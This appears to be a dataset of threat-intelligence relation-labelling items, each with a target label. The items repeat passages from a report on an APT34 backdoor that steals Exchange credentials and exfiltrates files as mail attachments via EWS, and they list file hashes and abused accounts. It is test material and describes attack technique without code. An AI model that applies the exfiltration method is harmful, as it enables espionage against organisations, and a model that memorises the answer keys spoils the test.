The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>variant-of</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
DevicesSrv.exe
### Target Entity: MSIL.REDCAP.A
### Possible Relationship Labels:
['indicates', 'is not related to', 'not sure']
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>indicates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
MSIL.REDCAP.A
### Target Entity: EWS
### Possible Relationship Labels:
[]
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Middle East
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Karkoff
### Target Entity: EWS
### Possible Relationship Labels:
[]
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Saitama
### Target Entity: EWS
### Possible Relationship Labels:
[]
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Saitama
### Target Entity: .Net
### Possible Relationship Labels:
[]
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8
### Target Entity: Karkoff
### Possible Relationship Labels:
[]
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>indicates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e
### Target Entity: Win64.REDCAP.AF
### Possible Relationship Labels:
['indicates', 'is not related to', 'not sure']
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>indicates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b
### Target Entity: MSIL.REDCAP.A
### Possible Relationship Labels:
['indicates', 'is not related to', 'not sure']
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
